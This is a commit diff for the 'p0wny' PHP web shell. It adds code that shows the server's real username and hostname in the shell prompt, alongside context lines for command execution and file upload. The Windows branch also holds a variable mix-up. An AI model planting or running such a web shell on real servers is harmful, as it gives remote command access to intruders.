1
1
<?php
2
2
3
+ $ SHELL_CONFIG = [
4
+ 'username ' => 'p0wny ' ,
5
+ 'hostname ' => 'shell ' ,
6
+ ];
7
+
3
8
function expandPath ($ path ) {
4
9
if (preg_match ("#^(~[a-zA-Z0-9_.-]*)(/.*)?$# " , $ path , $ match )) {
5
10
exec ("echo $ match [1 ]" , $ stdout );
@@ -48,6 +53,10 @@ function executeCommand($cmd) {
48
53
return $ output ;
49
54
}
50
55
56
+ function isRunningWindows () {
57
+ return stripos (PHP_OS , "WIN " ) === 0 ;
58
+ }
59
+
51
60
function featureShell ($ cmd , $ cwd ) {
52
61
$ stdout = "" ;
53
62
@@ -123,6 +132,27 @@ function featureUpload($path, $file, $cwd) {
123
132
}
124
133
}
125
134
135
+ function initShellConfig () {
136
+ global $ SHELL_CONFIG ;
137
+
138
+ if (isRunningWindows ()) {
139
+ $ username = getenv ('USERNAME ' );
140
+ if ($ hostname !== false ) {
141
+ $ SHELL_CONFIG ['username ' ] = $ username ;
142
+ }
143
+ } else {
144
+ $ pwuid = posix_getpwuid (posix_geteuid ());
145
+ if ($ pwuid !== false ) {
146
+ $ SHELL_CONFIG ['username ' ] = $ pwuid ['name ' ];
147
+ }
148
+ }
149
+
150
+ $ hostname = gethostname ();
151
+ if ($ hostname !== false ) {
152
+ $ SHELL_CONFIG ['hostname ' ] = $ hostname ;
153
+ }
154
+ }
155
+
126
156
if (isset ($ _GET ["feature " ])) {
127
157
128
158
$ response = NULL ;
@@ -148,6 +178,8 @@ function featureUpload($path, $file, $cwd) {
148
178
header ("Content-Type: application/json " );
149
179
echo json_encode ($ response );
150
180
die ();
181
+ } else {
182
+ initShellConfig ();
151
183
}
152
184
153
185
?> <!DOCTYPE html>
@@ -299,6 +331,7 @@ function featureUpload($path, $file, $cwd) {
299
331
</style>
300
332
301
333
<script>
334
+ var SHELL_CONFIG = <?php echo json_encode ($ SHELL_CONFIG ); ?> ;
302
335
var CWD = null;
303
336
var commandHistory = [];
304
337
var historyPosition = 0;
@@ -424,7 +457,7 @@ function genPrompt(cwd) {
424
457
var splittedCwd = cwd.split("/");
425
458
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
426
459
}
427
- return "p0wny@shell :<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
460
+ return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + " :<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
428
461
}
429
462
430
463
function updateCwd(cwd) {
0 commit comments